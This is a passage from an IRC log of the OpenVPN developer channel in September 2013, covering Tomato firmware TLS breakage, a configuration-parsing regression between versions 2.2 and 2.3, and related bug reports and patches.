boots, I'll see if I can find the time to poke at it end of the weekend or early next week 11:03 <@plai> I have only a wrt54g which does not seem to be supported 11:05 <@pekster> I'm basically content to use the latest to test with my TLS-enabled builds, and the latet appears to be RAF 1.28.8520 ND + USB + VPN for my system 11:05 <@pekster> If I can break it, I can get detailed logs from both ends and a tcpdump of the session; anything else of interest to you in particular? 16:06 <@plai> pekster: I have no idea what I am looking for :) 16:07 <@plai> I think lamokie and syzzer have more grasp of TLS than I have 16:07 <@plai> I am just the messenger ;) 19:56 -!- raidz is now known as raidz_away 23:15 -!- chiiph [~chiiph@unaffiliated/chiiph] has quit [Remote host closed the connection] 23:16 -!- chiiph [~chiiph@unaffiliated/chiiph] has joined #openvpn-devel --- Day changed Fri Sep 06 2013 03:01 -!- unixninja92 [~unixninja@c-46-162-92-126.cust.bredband2.com] has quit [Quit: unixninja92] 08:49 * ecrist finally gets around to fixing minor link annoyances on forum 08:50 <@ecrist> "administer user" from the profile page now works right 10:04 -!- unixninja92 [~unixninja@c-46-162-92-126.cust.bredband2.com] has joined #openvpn-devel 10:22 -!- raidz_away is now known as raidz 13:20 <@vpnHelper> RSS Update - tickets: #328: openvpn client gives up instead of retrying when proxy server is slow <https://community.openvpn.net/openvpn/ticket/328> 13:22 <+krzee> <ecrist> "administer user" from the profile page now works right <---- YAY!!! 13:23 <@ecrist> :) 13:45 <@ecrist> krzee: was there anything else on the forums site broken you noticed? 13:52 <+krzee> im surfing around, dont think so 13:54 <@ecrist> I put a disclaimer on the login page, too, that lets people know the main site and forums use a different auth database 13:58 <+krzee> do we have a repo for debian 7? 14:18 -!- lamokie [~steve@li428-245.members.linode.com] has quit [Ping timeout: 240 seconds] 14:24 <+krzee> !previews 14:30 -!- lamokie [~steve@li428-245.members.linode.com] has joined #openvpn-devel 14:39 <@cron2> tomato has their own openvpn fork in github? 15:05 <@pekster> That could explain their "unique" problems if it's not vanilla openvpn :( 15:06 <@pekster> At least I go out of my way to label my 'Previews' project as unofficial betas with bleeding edge features ;) 15:06 * pekster sighs 15:07 <@pekster> I still hope to have time end of this weekend or early next week some evening to see if I can also break the Tomato-RAF on my unit since I have an easy way to recover from bad firmwares on this particular hardware 17:30 -!- chiiph [~chiiph@unaffiliated/chiiph] has quit [Remote host closed the connection] 17:30 -!- chiiph [~chiiph@unaffiliated/chiiph] has joined #openvpn-devel 19:35 -!- raidz is now known as raidz_away 21:25 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 256 seconds] 21:54 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel --- Day changed Sat Sep 07 2013 08:11 <@plai> cron2: it is more like "we put all our files in git" 08:11 <@plai> cron2: there are even .orig files in there 08:18 <@plai> pekster: whihc unique features do they have? 08:26 < derRichard> this is maybe worth a ticket or two: http://laforge.gnumonks.org/weblog/2013/09/05/#20130905-openvpn-satellite 08:26 <@vpnHelper> Title: Harald Welte's blog (at laforge.gnumonks.org) 12:24 <+krzee> i use openvpn over sattelite without iossue 12:24 <+krzee> without issue* 12:25 <+krzee> in fact i have a ptp infrastructe vpn and a server/client vpn, both going over sat links? works great here 12:26 <+krzee> i do have a better connection than he does tho 13:37 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 13:39 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 13:39 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 13:43 -!- dazo_afk is now known as dazo 17:30 -!- unixninja92 [~unixninja@c-46-162-92-126.cust.bredband2.com] has quit [Ping timeout: 246 seconds] 17:33 -!- unixninja92 [~unixninja@whirlpool.stdnt.hampshire.edu] has joined #openvpn-devel 17:59 -!- unixninja92 [~unixninja@whirlpool.stdnt.hampshire.edu] has quit [Ping timeout: 268 seconds] 18:00 -!- unixninja92 [~unixninja@c-46-162-92-126.cust.bredband2.com] has joined #openvpn-devel 19:47 -!- unixninja92 [~unixninja@c-46-162-92-126.cust.bredband2.com] has quit [Ping timeout: 256 seconds] 19:51 -!- unixninja92 [~unixninja@c-46-162-92-126.cust.bredband2.com] has joined #openvpn-devel 20:02 -!- unixninja92 [~unixninja@c-46-162-92-126.cust.bredband2.com] has quit [Ping timeout: 256 seconds] --- Day changed Sun Sep 08 2013 01:34 <@pekster> plai: (catching up on tomato-RAF chatter) what do you mean 'unique' features? Since downstream's git apparently doesn't match their "release" downloads, how do "we" (openvpn devs) have any clue they're even using vanilla openvpn code? If their source doesn't build from our sources or include a cloned copy, why should we care what bugs they intoduce? 01:35 <@pekster> AFAICT, either their openvpn is not upstream's, or their openssl is gimpped. Either way, it's "not our problem" if it breaks 01:57 -!- mattock is now known as mattock_afk 03:31 -!- chiiph [~chiiph@unaffiliated/chiiph] has quit [Remote host closed the connection] 05:31 <@cron2> pekster: true, but "it works with 2.3.2 but breaks with 2.3.3" makes it (somewhat) our problem. At least to understand the issue well enough to tell people where to complain to 08:21 -!- unixninja92 [~unixninja@c-46-162-92-126.cust.bredband2.com] has joined #openvpn-devel 09:53 <@plai> cron2: ACK 10:15 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 246 seconds] 12:03 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 14:53 -!- novaflash is now known as novaflash_away 14:54 -!- novaflash_away is now known as novaflash 15:03 -!- mattock_afk is now known as mattock 15:12 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 260 seconds] 15:42 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 15:45 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 15:45 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 15:45 -!- dazo_afk is now known as dazo 17:07 -!- Netsplit *.net <-> *.split quits: +krzee, derRichard, ender|, unixninja92, @andj, +novaflash, @vpnHelper 17:12 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 17:18 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 17:18 -!- ServerMode/#openvpn-devel [+v krzee] by holmes.freenode.net 17:18 -!- unixninja92 [~unixninja@c-46-162-92-126.cust.bredband2.com] has joined #openvpn-devel 17:19 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 17:19 -!- mode/#openvpn-devel [+v novaflash] by ChanServ 17:19 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 17:19 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 17:19 -!- ServerMode/#openvpn-devel [+oo andj vpnHelper] by holmes.freenode.net 17:33 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 17:34 -!- mode/#openvpn-devel [+o pekster] by ChanServ 17:59 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Quit: clone] 17:59 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 17:59 -!- mode/#openvpn-devel [+o pekster] by ChanServ --- Day changed Mon Sep 09 2013 01:57 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 01:58 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 01:58 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 01:59 -!- dazo_afk is now known as dazo 04:24 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 04:27 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 04:27 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 04:27 -!- dazo_afk is now known as dazo 04:44 -!- mattock is now known as mattock_afk 05:01 -!- plai [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 05:02 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 05:02 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 05:24 -!- unixninja92 [~unixninja@c-46-162-92-126.cust.bredband2.com] has quit [Ping timeout: 260 seconds] 05:24 -!- unixninja92_ [~unixninja@c-46-162-93-88.cust.bredband2.com] has joined #openvpn-devel 05:52 -!- mattock_afk is now known as mattock 07:12 <@plaisthos> people finally managed to annoy so much over the custom header feature that writing a patch seemed to be less work than repeating the same answer over and over 07:47 <@ecrist> which issue is that, plaisthos? 08:09 <@plaisthos> ecrist: don't know if there is an issue in our ticket system 08:10 <@plaisthos> for the gemrman openvpn developer (like d12fk and cron2): have you ever heard of OpenVPN e. V.? (www.openvpn.eu) 08:12 <@plaisthos> ecrist: This G+ discussion sums prettry much up why I am so annoyed by it: https://plus.google.com/117718324378316930780/posts/bnfeWzFFJ9S 08:12 <@plaisthos> err wrong post 08:13 <@plaisthos> https://plus.google.com/115106907188146847713/posts/eyfaVD4saby 08:18 <@d12fk> plaisthos: no never, why 08:20 <@d12fk> plaisthos: so, plz bro is the magic formula to make you work eh? =) 08:27 <@plaisthos> d12fk: no, annoying me over all possible communications ways to have this feature implemented: Google play, G+, email, issue tracker, ... 08:29 -!- unixninja92_ [~unixninja@c-46-162-93-88.cust.bredband2.com] has quit [Ping timeout: 264 seconds] 08:38 <@d12fk> heh 09:00 * ecrist could write a shell script for that 09:00 <@ecrist> sh ./sudo_plaisthos 09:05 <@plaisthos> ecrist: yeah but only works for things that could be done in less than one hour 09:06 <@d12fk> plaisthos: crontab -e 09:06 <@plaisthos> d12fk: on my side 09:06 <@plaisthos> not on your "annoy plaisthos" side 09:06 <@plaisthos> :) 09:07 * d12fk gets a business idea for bugadev.com 09:12 <@d12fk> ... maybe plaisthos can code it... =P 09:16 <@plaisthos> d12fk: no, that would turn to be racist 09:16 <@plaisthos> d12fk: 95% of the people bugging me with the custom header stuff were Indian 09:18 <@d12fk> maybe getmyfeature.in would be more suitable then =) 09:19 <@d12fk> otoh you app will probably explode in play now 09:20 <@d12fk> regarding to downloads 10:03 <@mattock> plaisthos: negotiating with terrorists, eh? :D 10:03 <@mattock> once give your little finger, they will ask for more 10:06 <@plaisthos> mattock: don't foil my plan of backdorvpn+custom header version 10:06 <@plaisthos> :) 10:12 <@plaisthos> we managed to break existing configs from 2.2 to 2.3 in a non obvious way 10:12 <@plaisthos> in 2.2 <connection>....</connection> fragment xxx works 10:12 <@plaisthos> because fragment is a global config option 10:13 <@plaisthos> and in 2.3 it breaks because fragment is no <connection> specific 10:16 <@pekster> The manpage notes this, but the wording in the manpage under the connection options is a bit hard to read (very long sentence.) Was the change intentional? I'd almost say the old way was better, at least in the sense that this is how all other options are parsed (non-order-specific, minus maybe remote connections happen "in order") 10:17 <@plaisthos> I think breaking configs in a very subtle way going to 2.3 is problem :/ 10:17 <@pekster> The only use-case I see this obscure behaviour actually being useful for is if you wanted "all but one" of your connection blocks to have a collection of say 6 options. Without it, you'd need those 6 in "each" of the other blocks. Then again, is that a problem? 10:18 <@pekster> Well, that too plaisthos. I just don't see the change as having much benefit beyond "helping" people with "already stupid complicated setups" and as a side-effect, breaking things when more traditional use-cases don't really expect it 10:18 <@plaisthos> pekster: don't tell that to James ;) 10:20 <@plaisthos> I mean adding a CHECK_FOR_CONNECTION() macro to all 29 options that are inside a connection is not that hard 10:21 <@pekster> Sure, I suppose. I just don't really see the true benefit of supporting it this way to start with 10:21 <@plaisthos> you can just check if connection are defined and if they issue a warning that this option will only affect <connection> defined after the options and not before 10:21 <@pekster> But that's probably "easier" than undoing it now, 'eh? :P 10:21 <@plaisthos> pekster: undoing what? 10:22 <@pekster> options-after-<connection>-are-local-to-future-<connection> feature 10:22 <@plaisthos> pekster: it has always been that way 10:22 <@plaisthos> there are also options that works this way 10:22 <@plaisthos> e.g. route-max must be before any route option 10:23 <@pekster> Perhaps I mis-understood hel from #openvpn, but I thought he was using the same config on 2.2.3 and 2.3.2 10:24 <@plaisthos> yes 10:24 <@plaisthos> he does 10:24 <@plaisthos> but the debugging was not easy 10:24 <@plaisthos> and even I did not spot the error 10:24 <@pekster> Right, I missed it on first glance of the configs too 10:24 <@plaisthos> Also I probably know the options parser better than most people 10:25 <@pekster> Then it hasn't "always been" that way 10:25 <@plaisthos> pekster: it has 10:25 <@plaisthos> but before 2.3 --fragment was no <connection> option 10:25 <@pekster> Oh, k 10:26 <@pekster> Now yes, that's quite an obscure issue :P 10:29 -!- raidz_away is now known as raidz 10:36 <@plaisthos> pekster: exactly 10:36 <@plaisthos> that is why a warning in 2.3 would be nice 10:36 <@pekster> So yea, +1 to a warning feature 11:27 -!- unixninja92 [~unixninja@c-46-162-92-126.cust.bredband2.com] has joined #openvpn-devel 11:35 <@plaisthos> Yeah for tomato firmwares 11:35 <@plaisthos> this user has a Toastman tomato firmware .... 11:35 <@plaisthos> http://code.google.com/p/ics-openvpn/issues/detail?id=196 11:35 <@vpnHelper> Title: Issue 196 - ics-openvpn - latest version breaks stuff - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 11:38 <@plaisthos> which has confusing git tree ... 11:42 <@pekster> Anyone provided at least verb 4 logs from the tomato stuff? 11:43 <@pekster> Not that I really trust what it reports as the version anyway if downstream didn't bother to update it with any of their patches that "aren't in git" 11:47 <@plaisthos> pekster: that git seems to be okay 11:47 <@plaisthos> but is not working on mac 11:47 <@plaisthos> http://repo.or.cz/w/tomato.git 11:47 <@vpnHelper> Title: Public Git Hosting - tomato.git/summary (at repo.or.cz) 11:47 <@plaisthos> the other tomato mod seem to have a borken git 11:48 <@plaisthos> I cannot use it since git breaks in interesting ways on a case insensitive file system 11:48 <@plaisthos> when there two files with the same case insensitive name 11:50 <@plaisthos> pekster: I still really interested in the real cause of the bug 11:51 <@pekster> Yea, something is clearly making OpenSSL's TLS handshake unhappy 11:53 <@plaisthos> yeah 11:54 * plaisthos curses git for not even giving an approitate error message 11:54 <@pekster> I don't think the higher verb levels spit out useful TLS low-level details without at least --enable-debug to OpenVPN, and I don't know if it's all wrapped up in OpenSSL's functions anyway and all OpenVPN gets is a failure response and maybe the ERR_WHATEVER reference 12:08 <@pekster> That source tree is ungodly ugly 12:09 <@pekster> I like how they gave such care as to make README.txt at the top-level +x mode 12:09 <@pekster> Among other things 12:10 <@pekster> I guess it's better than the dd-wrt stuff from what I understand... 12:13 <@pekster> plaisthos: No openvpn-related stuff I can find in the git checkout there; maybe the built ipk packages come from another repo somewhere? I can't even find a "go fetch semi-official extra package source tarballs" thing like openwrt's "feeds" script does 12:13 <@plaisthos> %) 12:13 <@plaisthos> pekster: nah the -master seem to be outdated 12:14 <@pekster> They only have the one 'tomato' branch 12:14 <@pekster> Then a slew of tags 12:15 <@pekster> Oh, but they have HEADs all over too, I see 12:15 <@plaisthos> pekster: no, git branch -r | wc -l 51 12:15 <@pekster> :( 12:15 <@pekster> Yea 12:16 <@plaisthos> the tag Toastman-1.28.0.5000 seems to be the one matching the version best 12:16 <@plaisthos> But I cannot check it out on Mac OS X 12:24 <@pekster> So, the Tomato-RAF branch has an openvpn dir in the release/src/router/ path, and its changelog is OpenVPN 2.1.1 12:26 <@plaisthos> commit 1205210 is scary 12:26 <@plaisthos> #if 0 inside some openssl code 12:26 <@plaisthos> always a good idea 12:30 <@pekster> This is why I dislike build systems that patch in-tree like this 12:31 <@pekster> openwrt also does this better by having a 'patches' dir and applying them, making it easy to see "what we (downstream) did that varies from upstream" without looking through months/years of history :\ 16:45 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 16:58 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 18:56 -!- unixninja92 [~unixninja@c-46-162-92-126.cust.bredband2.com] has quit [Quit: unixninja92] 18:56 -!- unixninja92 [~unixninja@c-46-162-92-126.cust.bredband2.com] has joined #openvpn-devel 18:59 -!- unixninja92_ [~unixninja@whirlpool.stdnt.hampshire.edu] has joined #openvpn-devel 19:02 -!- unixninja92 [~unixninja@c-46-162-92-126.cust.bredband2.com] has quit [Ping timeout: 256 seconds] 19:02 -!- unixninja92_ is now known as unixninja92 19:06 -!- unixninja92 [~unixninja@whirlpool.stdnt.hampshire.edu] has quit [Quit: unixninja92] 20:12 -!- raidz is now known as raidz_away --- Day changed Tue Sep 10 2013 01:06 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 01:10 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 245 seconds] 01:12 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 01:41 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 01:41 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 01:41 -!- dazo_afk is now known as dazo 03:03 <@plaisthos> The user mailed me back that upgrading his Tomato version fixes the problem 04:07 <@plaisthos> Seems like they accidently fixed the problem when upgrading their OpenSSL 04:11 -!- Netsplit *.net <-> *.split quits: +krzee, @pekster, ender|, @andj, +novaflash, @vpnHelper 04:17 -!- Netsplit over, joins: +krzee 04:20 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 04:20 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 04:20 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 04:20 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 04:20 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 04:20 -!- ServerMode/#openvpn-devel [+ooov pekster vpnHelper andj novaflash] by holmes.freenode.net 05:27 <@cron2> so we can go ahead and release what we have as 2.3.3? (Well, maybe with some more bugs fixed... there should be some fairly low hanging fruit in trac) 05:27 * cron2 is still on family vacation and only has ~2 hours/day when the kids are sleeping to get some work done) 05:27 <@plaisthos> I would also like to implement a warning for option after <connection> 05:28 <@plaisthos> If that is consens to be a good idea 05:28 <@plaisthos> Since we are breaking 2.2 configs in an obscure way 05:48 <@cron2> are we? I seem to have missed that 05:49 <@cron2> (and if we do, I think it's a good idea to point out that case with a warning) 06:49 <@plaisthos> cron2: yes. Problem is this config: <connection> remote ... </connection> fragment 1300 works on 2.2 since fragment is a global option 06:49 <@plaisthos> cron2: in 2.3 fragment is a connection variable and since it is after the <connection> it will not be picked up by that connection 06:57 <@plaisthos> I debugged the issue with hel in #openvpn and I did not catch that subtility 08:54 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Quit: EvilJStoker is gone :(] 08:59 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 09:36 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 09:48 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 09:48 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 09:48 -!- dazo_afk is now known as dazo 09:53 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Quit: Fourty-two!] 09:53 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 09:53 -!- mode/#openvpn-devel [+o pekster] by ChanServ 10:24 -!- raidz_away is now known as raidz 11:40 -!- mattock is now known as mattock_afk 11:43 -!- mattock_afk is now known as mattock 13:53 <@cron2> plaisthos: ouch, I see the issue (and we should warn). Any good suggestion how to tackle this? Introduce a flag "<connection>_seen" and if a former-global setting appears outside a connection block but when "<connection>_seen"=true, warn? 13:53 <@cron2> should be doable with one of these oneliners, so "not so much code pollution" 13:57 <@cron2> mattock: with this "build.openvpn.net outage", does it affects buildslaves? That is, do I need to go out and check all of them? 13:58 <@pekster> cron2: He'd have details, but IIRC he tossed out the idea of a macro that would appear in the 'else if ...' sections of options.c that are accepted in <connection> and the macro does the work of figuring out if there's an earlier defined <connection> profile; maybe that process needs a _seen flag or such. That's what I thought the idea boiled down to anyway 13:59 <@cron2> pekster: that would be the "oneliner" I was referring to, so yes 13:59 <@mattock> cron2: it shouldn't affect the buildslaves, but haven't had time to verify that 13:59 <@pekster> Some POST_CONNECTION_BLOCK_CHECK() macro or whatever it gets called, then the err msg (if needed) can just reference p[0] 13:59 <@cron2> mattock: ok 13:59 <@pekster> Ah, gotcha; that was less a question and more a statement ;P 14:00 <@cron2> pekster: yep. For the record, I would consider this a useful addition :-) (I *might* niggle about implementation details) 14:00 <@pekster> Yea, I'm on-board with the usefulness once I understood the issue to 14:00 <@pekster> too* 14:00 * cron2 is only checking IRC 1-2 times a day right now, so I'm sometimes a bit out of sync and missing parts of discussions - sorry for that 14:01 <@pekster> np, figured I'd do what I could to make sure you were up to speed with the "10 minute discussion" or w/e on the proposed method 14:01 <@pekster> Minimal bloat, and saves users some hair-pulling 14:01 <@cron2> ack 14:02 <@cron2> we should have caught that before 2.3, but it was too subtle :) 14:02 <@pekster> Yea, that one's a bugger, especially since the "convention" is often to put remote stanzas near the top, so people just did that with <connection> blocks too 15:07 <@plaisthos> cron2: np 15:09 <@plaisthos> connection_seen is not needed you can just check if connection is defined. I am more unsure if need a way to mute that warning 15:09 <@plaisthos> i.e. if someone is really deliberatly using the logic of overrides connection logic 16:16 <@pekster> I know a more generic mute "certain types of warnings" feature has been discussed, but that's a bit complex of a task with more pressing dev needs; someday that might be nice, like --mute-warnings subnet-overlap,connection-options (or whatever that feature looks like) 16:17 <@pekster> OpenVPN tries really hard to warn me that 172.19.43.224/28 might "potentially overlap" with my 172.19.43.0/25 LAN :P 16:19 -!- chiiph [~chiiph@unaffiliated/chiiph] has joined #openvpn-devel 18:41 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 18:45 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 18:45 -!- mode/#openvpn-devel [+o mattock] by ChanServ 18:59 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....] 18:59 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] 19:00 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 19:00 -!- mode/#openvpn-devel [+o raidz] by ChanServ 20:05 -!- raidz is now known as raidz_away --- Day changed Wed Sep 11 2013 03:12 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:12 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 03:12 -!- mattock_afk is now known as mattock 05:45 <@cron2> pekster: now *that* warning needs to be taught proper math... :-) 05:46 < reiffert> a hardcoded /24 somewhere? 06:22 <@cron2> something like that, or worse "oh, 172.*, must be a Class B". Dunno, haven't found it annoying enough to go hunting (so far) 06:25 < reiffert> openvpn still comes with classful subnetting? 06:26 <@cron2> no idea, I hope not :-) - but the code is *old*... 06:30 < reiffert> I wonder what maths could go wrong there ... 06:30 < reiffert> other than hardcoded something. 06:30 <@cron2> check, and send a patch :-) 06:30 < reiffert> I'm currently facing an ankle in plaster for another 5 weeks. Chances are high to take a look once I made it through my examns and other projects :) 06:32 <@cron2> ouch 06:33 <@cron2> (good for us if it means code fixes and such, but ouch anyway) 09:12 <@pekster> cron2: Yea, it blindly assumes if you're using anything "within in the same /24 it might be an overlap" 10:26 -!- raidz_away is now known as raidz 14:56 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Connection reset by peer] 15:36 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 15:36 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 20:49 -!- raidz is now known as raidz_away --- Day changed Thu Sep 12 2013 08:06 <@vpnHelper> RSS Update - testtrac: Fix configure interaction with static OpenSSL libraries <https://github.com/OpenVPN/openvpn/commit/30e358e5de352c8de04a955dc89f33e1710e9b97> || Allow use of NetBeans without saving nbproject/ directory. <https://github.com/OpenVPN/openvpn/commit/550fe1a3a12ad9affbdff6ab1fc3e846f5e8d0b5> || Correct error text when no Windows TAP device is present <https://github.com/OpenVPN/openvpn/commit/2d34628af995676c8ecddb 08:29 <@pekster> http://repos.openvpn.net/repos/apt/conf/ (and s/apt/yum/) is 403, and the repo text files that contained the URLs from the wiki OpenvpnSoftwareRepos entry are gone (404) 08:30 <@pekster> The dirs listed should be readable too 08:54 <@mattock> pekster: repos server was discontinued and the DNS pointed to another IP 08:55 <@mattock> however, the webserver refused to serve files for the new DNS name 08:55 <@mattock> tested a fix, will discuss it with the guy in ~3 hours and then apply it 08:55 <@mattock> just to make sure the fix does not break anything else 08:57 <@pekster> Sure, not a real issue for me but someone in #openvpn noted it 09:06 <@mattock> today? 10:23 -!- raidz_away is now known as raidz 12:26 < lamokie> ~. 12:29 <@plaisthos> lamokie: ssh connection terminated 13:02 <@ecrist> ~~. 13:02 <@ecrist> ~. 13:02 <@ecrist> . 13:17 <@cron2> ecrist: vpnhelper is *still* doing it, reporting old news once a day 13:32 <@ecrist> no idea why 13:34 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 13:34 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 13:34 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 13:34 <@ecrist> !testtrac 13:34 <@vpnHelper> Fix configure interaction with static OpenSSL libraries || Allow use of NetBeans without saving nbproject/ directory. || Correct error text when no Windows TAP device is present || Always load intermediate certificates from a PKCS#12 file || Add a note what setenv opt does for OpenVPN < 2.3.3 || Add support to ignore specific options. || MSVC fixes || Added "setenv opt" directive 13:34 <@vpnHelper> prefix. If present, and if the || TLS version negotiation || autoconf: Fix typo || plugin: Extend the plug-in v3 API to identify the SSL implementation used || Remove the --disable-eurephia configure option || man page: Update man page about the tls_digest_{n} environment variable || Add support of utun devices under Mac OS X || PATCHv3 Remove unused variables or put them to the 13:34 <@vpnHelper> defines they are being used in || Improve documentation and help text for --route-ipv6. || Add support for client-cert-not-required for PolarSSL. || Do not pass struct tls_session* as void* in key_state_ssl_init(). || Fix another #ifdef/#if P2MP_SERVER || Move checking of script file access into set_user_script 14:07 -!- mattock is now known as mattock_afk 14:21 -!- mattock_afk is now known as mattock 14:33 -!- mattock is now known as mattock_afk 19:46 -!- raidz is now known as raidz_away --- Day changed Fri Sep 13 2013 00:14 -!- mattock_afk is now known as mattock 02:55 -!- djc [~djc@gentoo/developer/djc] has joined #openvpn-devel 02:56 < djc> what do you guys think of https://407195.bugs.gentoo.org/attachment.cgi?id=330600? 02:56 <@vpnHelper> Title: Invalid Attachment ID (at 407195.bugs.gentoo.org) 02:56 < djc> well, https://407195.bugs.gentoo.org/attachment.cgi?id=330600 02:56 < djc> without the question mark, of course 03:13 < djc> see https://community.openvpn.net/openvpn/ticket/329#ticket 03:13 <@vpnHelper> Title: #329 (Use execvpe() for calling network tools) – OpenVPN Community (at community.openvpn.net) 03:16 <@vpnHelper> RSS Update - tickets: #329: Use execvpe() for calling network tools <https://community.openvpn.net/openvpn/ticket/329> 04:43 <@plaisthos> djc: I think this has been discussed before but I am not sure of the result 04:45 <@plaisthos> Iirc the result was that tool like route, ip, etc. don't move in most operating system and people which did crazy custom tool stuff will use the script hooks instead anyway 04:45 <@plaisthos> But I am not really sure about this one 04:48 < djc> the patch seems very non-invasive 04:48 < djc> and it's still a pain when the tools do move 05:36 <@cron2> djc: we consider this to be a distribution issue when the tools move 05:36 <@cron2> so if gentoo moves "ip", bump the openvpn ebuild version and force a rebuild, done 05:38 <@cron2> this just does not happen on other distributions - there, if a tool moves around, this usually means "upgrade from x.y to x.z" and then they build a new version of openvpn right with it... 05:55 <@plaisthos> djc: openvpn developer are very hestitant to include this "non invase" patches 05:56 <@plaisthos> openvpn has so many small patches and the big number of #ifdef mazes that adding just "one more" does make it only worse 06:08 < djc> cron2: ugh 06:08 < djc> so is anyone working on the stupid netlink sockets yet? 06:09 <@plaisthos> not that I know of 06:09 <@plaisthos> and that is something for someone else to tackle since my primary target platform does not provide access to them :) 10:32 <@pekster> djc: That's a stupid way to "fix" the problem becuase openvpn_execve() is called for a lot more than just ifconfig. What's the "benefit" exactly? Avoiding a 2 or 3 minute recompile when ifconfig changes place? 1) you should be using ip anyway, and when present, --enable-iproute2 can be used, 2) is ifconfig (or ip, for that matter) really changing locations weekly or something? 3) With --enable-iproute2, one can define the ... 10:32 <@pekster> ... location of the ip binary at runtime. This option isn't available for ifconfig 10:33 <@pekster> ie: fun path problems could possibly manifest later if someone used the --cd command followed by a relative path to one of the many script hooks (though I haven't verified which would be "detected" first.) 10:52 <@pekster> I even offered a usable patch people that want auto-detection by requiring enable_iproute2 in the ebuild and dynamically picking up on the `ip` path location and passing it to the initscript to run openvpn with the --iproute command. I'm unsure why changing C code in ways that could introduce subtle unwanted behavior is "less invasive" but I stopped caring what downstream does on this issue earlier this year 11:08 -!- raidz_away is now known as raidz 13:23 -!- djc [~djc@gentoo/developer/djc] has left #openvpn-devel [] 16:49 <@pekster> Another 2.3 regression: use of chroot breaks with --crl-verify as the options init fatally exits if the file doesn't exist at the non-chrooted location 17:07 <@vpnHelper> RSS Update - tickets: #330: crl-verify and client-config-dir paths are incorrectly checked in 2.3.* <https://community.openvpn.net/openvpn/ticket/330> 17:27 <@pekster> And there's the OP's bugreport. I'm a little undecided if it's better to just not check the CRL file, or insert extra logic to check inside the chroot dir for it 17:28 <@pekster> Technically even doing the latter, while odd, doesn't really constitude an "error" until a client attempts to connect (though a warning might be helpful) 18:23 <@pekster> I almost want to fix 2 issues: 1) fix #330 by at least being smart about the chdir potential, but the other issue is that a missing CRL file terminates a server. If for some reason the file is briefly unavailalbe, I'm not sure a fatal exit but a warning the log might be a better solution 18:24 <@pekster> And by missing I mean once the service is already running (to be clear) 20:44 -!- raidz is now known as raidz_away 21:08 -!- Netsplit *.net <-> *.split quits: ender| 21:13 -!- Netsplit over, joins: ender| --- Log 